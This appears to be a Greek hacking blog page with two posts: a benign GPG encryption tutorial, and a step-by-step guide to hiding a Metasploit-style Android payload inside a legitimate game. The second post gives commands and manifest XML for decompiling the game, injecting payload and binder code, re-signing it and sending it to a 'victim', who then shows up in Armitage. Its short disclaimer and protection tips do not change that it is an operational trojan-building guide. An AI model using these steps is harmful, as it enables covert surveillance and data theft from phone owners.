ΠΡΟΣΟΧΗ

Προσοχή! Οι οδηγοί μου είναι μόνο για εκπαιδευτικούς σκοπούς,
εφαρμόζοντας τους κακόβουλα σε τρίτους είναι με δικιά σας ευθύνη καθώς ορισμένοι απο αυτούς είναι παράνομοι


Πέμπτη 3 Μαρτίου 2016

Πως εξασφαλιζουμε μια ασφαλη επικοινωνια (εισαγωγη στην κρυπτογραφηση)





Τι θα χρειαστείτε;

1.Kali Linux



Εισαγωγή

Πλέον ζούμε σε μια εποχή που όλες  οι επικοινωνίες μας γίνονται ψηφιακά
παρόλο που είναι εύκολος και γρήγορος ο τρόπος ,κανείς δεν σας εγγυάται ότι δεν υποκλέπτονται.

Και όπως γνωρίζετε όλοι το 2013 ο Εντουαρντ Σνοουντεν μας το επαλήθευσε.
όσοι δεν γνωρίζουν διαβάστε εδω
 *(καλο θα ητανε να δειτε και το ντοκυμαντερ "Citizenfour")

Στην Ελλαδα υπήρχε το πρόγραμμα "Νόμιμη Συνακρόαση" που εφαρμόστηκε το 2004 με τους ολυμπιακούς αγώνες (Σκάνδαλο Vodafone κτλ)

σαφώς καταλαβαίνετε οτι καμία επικοινωνία δεν είναι ασφαλής

και έτσι ερχόμαστε στην κρυπτογράφηση

Η κρυπτογράφηση ονομάζεται η διαδικασια μετατροπής ενός μηνύματος σε μια ακατανόητη μορφή  ώστε να μην μπορεί να διαβαστεί από κανέναν εκτός του νόμιμου παραλήπτη.

Στο παρελθόν οι ποιο αξιόλογες κρυπτογραφησεις που χρησιμοποιήθηκαν ειναι:

  • Η Σπαρτιάτικη σκυτάλη

ήταν μια ξύλινη ράβδος, ορισμένης διαμέτρου, γύρω από την οποία ήταν τυλιγμένη ελικοειδώς μια λωρίδα περγαμηνής. Το κείμενο ήταν γραμμένο σε στήλες, ενα γραμμα σε κάθε έλικα, όταν δεν ξετύλιγα τη λωρίδα, το κείμενο ήταν ακατάληπτο εξαιτίας της αναδιάταξης των γραμμάτων. Το «κλειδι» ηταν η διάμετρος της σκυτάλης

πχ


  • ο Κωδικας του Καισαρα 

Ειναι κωδικας αντικαταστασης στον οποιο καθε γραμμα του κειμενου αντικαθισταται απο καποιο αλλο γραμμα με σταθερη αποσταση καθε φορα στο αλφαβητο. Για παραδειγμα, με μετατοπιση 3, το A θα αντικαθιστουνταν απο το D, το B απo το E, κτλ

πχ


οποτε  vdlo0u ειναι η λεξη sail0r

  • το τετραγωνο του Πολυβιου
Ο τροπος λειτουργιας του πινακα ειναι:
καθε γραμμα αναπαρισταται απο τις συντεταγμενες του στο πινακα.
Ετσι η λεξη "καλημερα" χρησιμοποιωντας τον διπλανο πινακα μετασχηματιζεται σε
25 11 31 22 32 15 42 11

  •  η συσκευη Enigma των Ναζι
Η μηχανη ειχε τρεις κυλινδρικους στροφεις οι οποιοι ρυθμιζοταν σε διαφορετικες καθε φορα θεσεις. Στη συνεχεια απο το πληκτρολογιο που διεθετε εισηγαγε καποιος το μηνυμα και η μηχανη αυτοματα παρηγαγε το κωδικοποιημενο μηνυμα. Ετσι αν καποιος δεν ηξερε την αρχικη θεση των στροφεων δε μπορουσε να αποκρυπτογραφησει το μηνυμα


και φτανουμε στο σημερα που η κρυπτογραφηση γινετε απο υπολογιστες

εμεις σε αυτο τον οδηγο θα χρησιμοποιησουμε το PGP (Pretty Good Privacy)

το PGP ειναι ενα εργαλειο το οποιο κρυπτογραφει τα μηνυματα σας

οποτε ας αρχισουμε

πρωτα πρεπει να δημιουργησουμε το public key μας

ανοιγουμε ενα τερματικο και γραφουμε

gpg --gen-key


 επιλεγουμε 1

επιλεγουμε το μεγεθος που θελουμε να εχει το κλειδι μας οσο ποιο μεγαλο ειναι τοσο ποιο αργα θα κανει να κρυπτογραφηση η να αποκρυπτογραφηση αλλα θα ειναι σαφεστατα ποιο ασφαλη οποτε βαζουμε 4096


τωρα βαζουμε ποτε θα ληγει το κλειδι μας αναλογα με τις αναγκες σας διαλεγετε

επιλεγουμε 0


μετα θα μας ρωτισει αν ειμαστε σιγουροι οτι το κλειδι μας δεν ληγει ποτε

επιλεγουμε y

βαζουμε το ονομα μας η το ψευδωνυμο (θα βαλετε το ψευδωνυμο σας εφοσον αν προκειτε για μια μυστικη συνομιλια) και το email ,δεν εχει σημασια τι θα βαλετε φτανει ο αποδεχτης που θα στειλετε το κρυπτογραφημενο μηνυμα να αναγνωρισει οτι ειστε εσεις


γραφουμε O και πληκτρολογουμε τον κωδικο που θελουμε να εχει το κλειδι ,με αυτο το τροπο αν καποιος παρει το κλειδι μας δεν θα μπορει να υπογραψει αλλα ουτε να στηλει κρυπτογραφημενα μυνηματα εκμερους μας


τωρα ενω κανουμε τυχαιες κινησεις με το mouse η καθως γραφουμε ενα κειμενο καλη ωρα εγω τωρα που γραφω αυτο τον οδηγο δημιουργει τον αλγορυθμο


και τελος μας εχει φτιαξει το κλειδι


τωρα θα φτιαξουμε το αρχειο revoke ετσι ωστε αν το κλειδι μας εκτεθει να μπορουμε να το ανακτησουμε

οποτε τρεχουμε την εντολη ωστε να δουμε το κλειδι

gpg --list-keys


και

gpg --output anakthsh.asc --gen-revoke 99A2B6E1

επιλεγουνε τον λογο που θελουμε να δημιουργησουμε το αρχειο ανακτησης
επιλεγουμε 0 βαζουμε τον κωδικο και μας δημιουργειτε το αρχειο anakthsh,asc


περνουμε το αρχειο anakthsh,asc και το μεταφερουμε καπου ασφαλες

για να καταλαβετε πως δουλευει το pgp πχ εγω θελω να κρυπτογραφησω ενα μυνημα και να το στειλω στον Μητσο πρεπει πρωτα να επικοινωνησω με τον Μητσο ωστε να μου στηλει το public key και να του στειλω και εγω το δικο μου.δλδ στελνωντας στον Μητσο το public key μου θα μπορει να κρυπτογραφει μυνηματα εκμερους μου και να μου τα στελνει εφοσον ειναι δικο μου το public key και με το private key ΜΟΝΟ εγω μπορω να αποκρυπτογραφησω τα μυνηματα .Το ιδιο ισχυει και για τον Μητσο δλδ μου στελνει το public key του κρυπτογραφω τα μηνυματα που θελω να του στειλω και αυτος με το private key του τα αποκρυπτογραφει

τωρα εφοσον τα εχουμε ρυθμισει ολα παμε να παρουμε το public key του ανθρωπου που θελουμε να επικοινωνησουμε και να ανεβασουμε και το δικο μας public key ωστε να μπορει να το παρει και αυτος

εμεις το ανεβαζουμε με την εντολη

gpg --send-keys --keyserver pgp.mit.edu 99A2B6E1


ας πουμε οτι θελω να επικοινωνησω με τον nickthesail0r ψαχνω στο server που φοιλοξενει τα κλειδια με την εντολη

gpg --keyserver pgp.mit.edu --search-keys nickthesail0r


στο πανω παραδειγμα επητηδες δημιουργησα 5 κλειδια και τα ανεβασα στον keyserver για να δειτε το εξεις προβλημα

Παρολο που ολα λενε nickthesail0r και εχουνε το email πως ξερω εγω οτι ειναι οντως ο nickthesail0r ?
και αν παρω το public key και κρυπτογραφω εκμερους του πως θα ξερω οτι θα μπορουν να διαβαζοντε απο αυτον?και οτι επικοινωνω με τον ιδιο?

πολυ απλα δεν το ξερω γιαυτο πρεπει να επικοινωνησει μαζι μου με ασφαλη τροπο και να μου επαληθευσει το αποτυπωμα (fingerprint) απο το public key του

για να δουμε το fingerprint γραφουμε την εντολη

gpg --fingerprint


οποτε οταν καποιος κατεβασει το public key μου τοτε πρεπει να επικοινωνησει με ενα ασφαλη τροπο και να του επιβαιβεωσω το key fingerprint πχ

C130 106E B2EF 4609 1A71  156A 12B6 988A 4347 933C

μετα να το εισαγει και να το υπογραψει ετσι ωστε να ξερω οτι το μηνυμα προηλθε απο αυτον


για να καταλαβετε καλυτερα θα δημιουργησω τον Alpha και τον Bhtaa

απο την μερια του Alpha

δημιουργουμε το κλειδι

gpg --gen-key

βλεπουμε το κλειδι

gpg --list-keys



και ανεβαζουμε το κλειδι

gpg --send-keys --keyserver pgp.mit.edu BFFCC10C


απο την μερια του Βhtaa η ιδια διαδικασια

τωρα απο την μερια του Alpha ψαχνουμε για τον βητα

gpg --keyserver pgp.mit.edu --search-keys Bhtaa


επιλεγουμε 1 και εισαγουμε το κλειδι

και με την εντολη gpg --list-keys βλεπουμε οτι το εχουμε εισαγει


τωρα για να δουμε το fingerprint γραφουμε

gpg --fingerprint Bhtaa

οποτε τωρα η μεσω τηλεφωνου η οποιδηποτε αλλου τροπου που νομιζετε οτι ειναι ασφαλης επικοινωνειτε για να σας επιβεβαιωση ο Bhtaa οτι αυτο ειναι το fingerprint του

πχ

 και το ιδιο κανει και ο Bhtaa

τωρα εφοσον εχουνε και οι δυοι επιβεβαιωσει  το public key του καθενος τοτε πρεπει να υπογραψουνε το public key δλδ ο Alpha να υπογραψει το public key του Bhtaa ωστε ο Bhtaa να ξερει οτι το κρυπτογραφημενο μηνυμα προηλθε απο τον Alpha

οποτε ο Alpha με την εντολη

gpg --sign-key Bhtaa (*η 427AC3BB)

υπογραφη το public key του Bhtaa


τωρα ο Alpha γραφει το μηνυμα σε ενα αρχειο κειμενου το αποθηκευει και το κρυπτογραφει με την εντολη

 gpg --encrypt -r Bhtaa --armor /root/Desktop/μηνυμα.txt

με την εντολη cat /root/Desktop/μηνυμα.txt.asc ο Alpha μπορει δει το κρυπτογραφημενο μνμ


και τωρα ο Alpha θα το στηλει στον Bhtaa

* o Alpha μπορει η να αντιγράψει ολο το κρυπτογραφημενο κείμενο και να το στηλει η να στηλει ολο το αρχειο (μηνυμα.txt.asc)

πως το στελνει? πολυ απλα με email



απο την μερια του o Bhtaa οταν παρει το email θα το αντιγράψει,σε ενα τερματικο θα γραψει

gpg

θα κανει επικόλληση του κρυπτογραφημενου μηνύματος ,θα βαλει τον κωδικο του και τελος θα πατησει ctrl+D , το μηνυμα θα αποκρυπτογραφηθεί


Μπορείτε να μην ανεβάστε το public key σας στους server και να το στειλετε κατευθειαν στον ανθρωπο που θελετε να επικοινωνήσετε


ο αλλος θα το αντιγράψει και με την εντολη

gpg --import

θα κανει επικόλληση και μετα ctrl+D


Προσοχή θα σας συμβούλευα να εξασκηθείτε στη χρηση του gpg πριν αρχίσετε την επικοινωνία

Το pgp μπορειτε να το κανετε εγκατάσταση και στα windows αλλα για λόγους ασφαλείας επειδή αναφέρθηκε οτι δεν σου παρέχει καθόλου ασφάλεια δεν θα αναφερθώ καν

τωρα για οσους εχουνε android μπορείτε να κατεβάσετε το OpenKeychain πατήστε εδω

αλλα αν δειτε τις άδειες που ζητάει σαν εφαρμογη


σίγουρα δεν θα νιωσετε ασφάλεια

οπως και να εχει το καλο ειναι οτι σας δινει ολο τον κώδικα της εφαρμογής και μπορείτε να τον φτιάξετε στο eclipse το οποιο θα δουμε σε επόμενο οδηγο
πατηστε εδω




Δευτέρα 30 Νοεμβρίου 2015

Πως βαζουμε τον ιο μας σε οποιαδηποτε εφαρμογη Android (Advance Reverse Engineering)





Τι θα χρειαστειτε;

1.Kali Linux
2.Eclipse
3.Μια εφαρμογη Android


Σε προηγουμενο οδηγο μαθαμε πως να κανουμε εναν ιο για Android FUD (Fully Undetectable) και πως κλεβουμε επαφες,μηνυματα και κλησεις

Βεβαια το προβλημα ειναι οτι εφοσον το θυμα εκανε εγκατασταση του ιου μας μετα απο λιγο εκανε απεγκατασταση γιατι ο ιος σαν εφαρμογη δεν εδειχνε τιποτα στο θυμα.

Σε αυτο τον οδηγο θα μαθουμε πως βαζουμε τον ιο μας σε οποια εφαρμογη θελουμε

Πριν ξεκινησουμε πρεπει να κανουμε εγκατασταση του Eclipse

το Eclipse ειναι ενα προγραμμα το οποιο ειναι για προγραμματιστες εφαρμογων java,c++ κτλ

οποτε ας αρχισουμε

τρεχουμε την εντολη

apt-get install eclipse

οταν τελειωσουμε με την εγκατασταση γραφουμε στο τερματικο eclipse ωστε να μας ανοιξει


πηγαινουμε πανω αριστερα στην καρτελα Help και επιλεγουμε Install New Software

 

επιλεγουμε Add

στο Name βαζουμε Android και στο location

https://dl-ssl.google.com/android/eclipse/

επιλεγουμε τα πακετα ολα για εγκατασταση



 αποδεχομαστε τους ορους και επιλεγουμε να γινει εγκατασταση

οταν τελειωσει το eclipse το κλεινουμε και το ξανα ανοιγουμε
πηγαινουμε πανω δεξια στην καρτελα file και επιλεγουμε import
αν ολα ειναι ενταξει τοτε θα μας εμφανισει τον Android οπως κατω στην εικονα


τωρα εφοσον μπορουμε να εισαγουμε κωδικα εφαρμογης  Android στο Eclipse κατεβαζουμε τα εξεις

γραφουμε σε ενα τερματικο

cd Desktop

μετα

git clone https://github.com/nickthesail0r/AndroidPayload.git

και

git clone https://github.com/nickthesail0r/Metasploit-Binder.git


στην επιφανεια εργασιας μας θα δουμε 2 φακελους με τα ονοματα AndroidPayload και Metasploit-Binder

στο Eclipse επιλεγουμε πανω αριστερα File και Import

Android - Existing Android code into Workspace


 επιλεγουμε Browser και AndroidPayload


κανουμε και την ιδια διαδικασια με το metasploit-binder



στο Eclipse πρεπει να εχετε αυτα τα 2 Projects


πηγαινουμε στο AndroidPayload και με διπλο κλικ ανοιγουμε το Payload.java
και βαζουμε την ip και την θυρα που θελουμε να ακουει ο ιος μας

επιλεγουμε save και με δεξι κλικ πανω στο Project AndroidPayload επιλεγουμε export


επιλεγουμε Next


Εδω θα δημιουργησουμε το κλειδι της υπογραφης μας ωστε να υπογραφουμε τις εφαρμογες μας οποτε στο Location βαζουμε την τοποθεσια που θελουμε να αποθηκευτει και βαζουμε και κωδικο

 βαζουμε στο Allias το ψευδωνυμο μας ,κωδικο ,ποσα χρονια θελουμε να εχει η υπογραφη μας ισχυει και το ονομα μας


τελος βαζουμε το ονομα και την διαδρομη που θελουμε να αποθηκευτει η εφαρμογη μας


στην επιφανεια εργασια μας θα δουμε την εφαρμογη ios.apk

εδω ανοιγουμε το Armitage το βαζουμε να ακουει στην θυρα που βαλαμε στον ιο και τρεχουμε τον ιο στο κινητο μας

πρεπει να δουμε το κινητο σαν slave


(αν δεν σας εμφανιστει  τοτε εχετε κανει λαθος στην θυρα η στην ip)

τωρα απο το κινητο μας κανουμε εγκατασταση το ES Διαχειριστης Αρχειων


μετα επιλεγουμε την εφαρμογη που θελουμε να βαλουμε τον ιο μας

πχ εγω σε αυτο το παραδειγμα πηρα το παιχνιδι Space Agency



οταν το κανουμε εγκατασταση ανοιγουμε το ES

και επιλεγουμε app ,βρισκουμε το Space Agency και παταμε για 3 δευτερολεπτα πανω στο εικονιδιο μεχρι να μας εμφανιστει το ποιο κατω menu ωστε να το κανουμε backup

τωρα συνδεουμε με καλωδιο το κινητο με τον υπολογιστη, πηγαινουμε στον φακελο Phone/Backups/apps και μεταφερουμε το Space Agency στον υπολογιστη μας

οταν εχουμε το Space Agency στην επιφανεια εργασιας μας τοτε το κανουμε Decompliled με το apktool

οποτε τρεχουμε την εντολη
apktool.jar d "/root/Desktop/Space Agency_1.4.4.apk"
(η apktool αν εχετε την παλια εκδοση)


το apktool μας εκανε decompiled το Space Agency στην επιφανεια εργασιας
πηγαινουμε στον φακελο και ανοιγουμε το AndroidManifest.xml

σημειωνουμε το ονομα πακετου της εφαρμογης (package name) και της πρωτης δραστηριοτητας(Activity)

πχ


τωρα πηγαινουμε στο Eclipse στο Project Binder και ανοιγουμε το StartUpActivity,java και βαζουμε τα πακετα απο το AndroidManifest.xml


πχ


αποθηκευουμε και κανουμε export της εφαρμογης binder


παλι η ιδια διαδικασια


εκτος απο εδω που επιλεγουμε την υπογραφη που φτιαξαμε πριν
βαζουμε τον κωδικο


επιλεγουμε το ψευδωνυμο και βαζουμε κωδικο


βαζουμε το ονομα και την διαδρομη που θελουμε να εξαγουμε την εφαρμογη


τωρα εφοσον στην επιφανεια εργασιας εχουμε το binder.apk θα το κανουμε decompiled με το apktool

οποτε  τρεχουμε την εντολη

apktool.jar d /root/Desktop/Binder.apk


μετα θα κανουμε decompiled τον ιο

τρεχουμε την εντολη

apktool.jar d /root/Desktop/ios.apk


τωρα εφοσον και οι 3ς εφαρμογες εχουν γινει decompiled στην επιφανεια  εργασιας

πηγαινουμε σον φακελο ios/smali/com και αντιγραφουμε τον φακελο app

μετα πηγαινουμε στον φακελο Space Agency_1.4.4/smali/com/ και κανουμε επικολληση


πηγαινουμε στον φακελο Binder/smali/com/app και κανουμε αντιγραφη του φακελου bind

μετα πηγαινουμε παλι στον φακελο Space Agency_1.4.4/smali/com/app/ και κανουμε επικολληση



δλδ η εφαρμογη σας πρεπει να εχει μεσα τους φακελους bind και stage στην διαδρομη efarmoghsas/smali/com/app/

τωρα ανοιγουμε το AndroidManifest.xml στον φακελο ios και κανουμε αντιγραφη τα δικαιωματα (permissions)


στο AndroidManifest.xml του Space Agency τα κανουμε επικολληση



μετα τελος στο </activity>

προσθετουμε

<activity android:label="hello" android:name="com.app.stage.MainActivity" android:theme="@android:style/Theme.NoDisplay">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
            </intent-filter>
        </activity>
<activity android:label="@string/app_name" android:name="com.app.bind.StartUpActivity" android:screenOrientation="portrait">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>



και αφαιρουμε απο το κανονικο <activity>

στο <intent-filter>

<category android:name="android.intent.category.LAUNCHER"/>

με λιγα λογια να υπαρχει ενα LAUNCHER το οποιο θα το ξεκιναει τo StartUpActivity


τωρα αποθηκευουμε και κανουμε compiled την εφαρμογη με την εντολη

apktool.jar b '/root/Desktop/Space Agency_1.4.4'


και την υπογραφουμε με την εντολη

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/Desktop/ypografi '/root/Desktop/Space Agency_1.4.4/dist/Space Agency_1.4.4.apk' nickthesail0r


και ειμαστε ετοιμοι να στειλουμε την εφαρμογη στο θυμα μας

η εφαρμογη βρισκετε στην διαδρομη Space Agency_1.4.4/dist/

τωρα πως θα στειλετε στο θυμα την εφαρμογη μπορειτε να δειτε τον προηγουμενο οδηγο μου

οταν το θυμα τρεξει την εφαρμογη δεν θα καταλαβει τιποτα γιατι θα του τρεχει κανονικα η εφαρμογη


και εσεις θα δειτε το θυμα σας στο armitage


Θελω να ευχαριστησω τον theDoubleKay για τον κωδικα του binder και γενικα την βοηθεια του.

Πως θα προστατευτειτε;

1.Ποτε μην κανετε εγκατασταση εφαρμογων απο αγνωστες πηγες 
2.Παντα να εχετε καποιο antivirus στο κινητο σας
3.Οταν ειναι να κανετε εγκατασταση ακομα και  μιας εφαρμογης απο το playstore να κοιτατε αν εχει πανω απο 100 χιλιαδες ληψεις και αν ειναι πανω απο 30 μερες αν εχει κατω απο 30 μερες και εχει περιεργα δικαιωματα μην την κανετε εγκατασταση